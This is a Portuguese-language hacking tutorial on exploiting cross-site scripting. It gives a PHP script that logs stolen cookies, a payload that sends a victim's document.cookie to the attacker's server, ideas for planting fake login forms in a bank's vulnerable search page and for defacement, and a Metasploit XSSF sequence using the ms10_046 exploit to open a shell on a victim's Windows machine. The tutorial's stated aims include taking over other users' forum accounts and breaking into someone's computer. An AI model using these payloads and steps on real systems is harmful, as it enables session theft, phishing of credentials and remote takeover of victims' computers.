Tutorial Explorando XSS Para Ter Acesso ao Prompt do Alvo

Explorando XSS
XSS (ou CSS, sem confundir com a linguagem para webdesign) é uma vulnerabilidade que permite ao atacante ter acesso à modificação de uma determinada área da página. Sua detecção geralmente é feita incluindo, na variável supostamente vulnerável, um código JavaScript (client-side, ou seja, trabalha no lado do cliente) que apenas mostra uma caixa de alerta com o texto “XSS”. Veja:
Código:

1	<script> alert("xss"); </script>

Esta falha pode ocorrer, por exemplo, em formulários de busca (onde é mais comum) e em diferentes casos, como em um simples redirecionamento (como na maioria dos grandes mecanismos de pesquisa, como o Google).
Desta falha, há 2 tipos:
Reflected (refletido): Executa-se apenas para o cliente vítima do ataque, que deve incluir engenharia social.
Stored (estocado/permanente): Fica gravado em um banco de dados e executa-se a quem abrir a página. Comum em fóruns, páginas de recados e livros de visitas.

Por que você exploraria uma falha como essa?

Por que você participa de um fórum ou rede social onde todos tem sua conta, cada qual com seus privilégios, e você quer escalá-los. Neste caso, pode ser feito um código que obtém os cookies do navegador e os envia para algum script seu, via GET, que os obtém e os grava. Veja um exemplo:
Crie, no T35 (ou no servidor de sua preferência), um script em PHP desta maneira:
Código PHP:

1 2 3 4 5 6 7 8 9 10 11 12 13

<?php $cookies = $_SERVER['QUERY_STRING']; // obtém-se tudo o que há depois de "?" na URL   $grava = fopen("hackeds.txt", "a+"); // abre-se um arquivo para escrita   fwrite($grava, $cookies . "\n \n \n"); // grava-se os cookies neste arquivo e pula 3 linhas para organização   fclose($grava); // fecha o arquivo   echo "<script> window.close(); </script>"; // fecha a janela   exit; // pronto ?>

Claro que não se faz apenas com PHP. Se você trabalha em outra linguagem, boa sorte e vá aos estudos. Porém, PHP é uma linguagem mais comumente usada e fácil de se aprender.
Agora, como você conseguirá obter esses cookies?
Simples:
Código:

1	<script> window.open("http://seusite/seuscript.php?"+document.cookie); </script>

Mas, e se o alvo não permite que você inclua códigos JavaScript? Tente resolver com isso e com alguns outros métodos (pesquise…).
Quer outra razão para explorar essa falha? Falsificar um site e conseguir alguma informação, como um login e uma senha, de um usuário. Por exemplo, se o formuário de busca de um banco possui uma falha, e você quer conseguir informações privilegiadas, mas não quer simplesmente criar um fake no T35, para não mudar o domínio, uma sugestão é (para não falar “você pode”) criar um formulário ali mesmo, com um action para uma página em um servidor de sua preferência. E, claro, encriptar um pouco a URL ou usar encurtador de links (se mudar o domínio não for atrapalhar) será interessante. Outra razão é um deface. Dependendo da localização onde está a falha, você pode escrever (com document.write()) um iFrame ou usar um location.href para redirecionar a página. Mas, se a localização da falha é dentro de um frame, há formas de burlar isso. Veja:
Código:

1	<script> if (window!= top) { top.location.href=location.href; } </script>

Quer ainda outra razão? Invadir o computador de alguém! Para isso, usaremos o nosso amigo Metasploit e seu parceiro framework chamado XSSF. Baixamos este último e o extraímos no diretório de instalação do Metasploit? Agora vamos abrir a console do Metasploit (sempre digo que consoles te dão mais poder de fogo do que interfaces gráficas, entre tantas razões, o gasto de memória, por exemplo). Vamos então fazer o Metasploit reconhecer o framework, usando o comando “load”.
Código:

1

load XSSF

Este comando abrirá um servidor em seu computador com um código JavaScript para ser executado no cliente. Neste caso, ele nos retornou, nas últimas linhas:
Código:

1 2	Please, inject 'http://SEU.IP.AQ.UI:88888/loop' resource in an XSS Successfully loaded plugin: XSSF

Então, usaremos a URL “http://SEU.IP.AQ.UI:88888/loop”. Após injetá-lo da maneira que quiser (ou que puder), veremos quem caiu, ou melhor, se conectou, usando o seguinte comando em nosso console:
Código:

1	xssf_active_victims

E ele nos retornou os endereços IP’s de quem se conectou, se ainda está conectado, o seu navegador e a versão e o suporte a cookies. E ele nos alerta também que podemos usar o comando xssf_information [VictimID] para ver mais informações sobre uma vítima. Pegamos o ID da vítima dado na tabela do comando anterior e usamos o comando. Ali vemos ainda seu sistema operacional, a arquitetura de sua máquina, a URL em que está agora e as informações vistas anteriormente, além de outras.
Ainda podemos executar códigos JavaScript em tempo real. Faremos uma caixa de alerta, por exemplo, usando o módulo Auxiliary XSSF Alert. Além disso, ainda podemos ler seus cookies, acessar sua área de transferência, e muito mais. Vamos, por exemplo, invadir o prompt de comando da vítima. Vamos usar o exploit ms10_046_shortcut_icon_dllloader para isso. Veja o processo da digitação:
Código:

1 2 3 4 5 6

use windows/browser/ms10_046_shortcut_icon_dllloader jobs xssf_active_victims xssf_exploit 7 0 sessions -i l shell

Com esses simples comandos, dizemos ao Metasploit para fazer uma espécie de ligação com o exploit, vemos os trabalhos ativos, as vítimas do nosso XSS e, alguns comandos a mais, abrimos o shell, e veja o resultado final:
Código:

1 2 3 4

Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp.   C:\Documents and Settings\[alvo]>_

Como vimos, acessamos o prompt de comando do alvo. Lembrando que para isso o alvo precisa estar com Internet Explorer (ou, da minha maneira, IEca).

Para fazer um teste (o alvo estava ciente, já que era minha máquina virtual), usava Debian Linux (de onde partiram as versões Ubuntu – Debian 3, e Educacional – Debian 2 com GUI KDE). A máquina tem 1 GB de RAM (dos quais 350 são para o Windows XP virtualizado).
Até a próxima!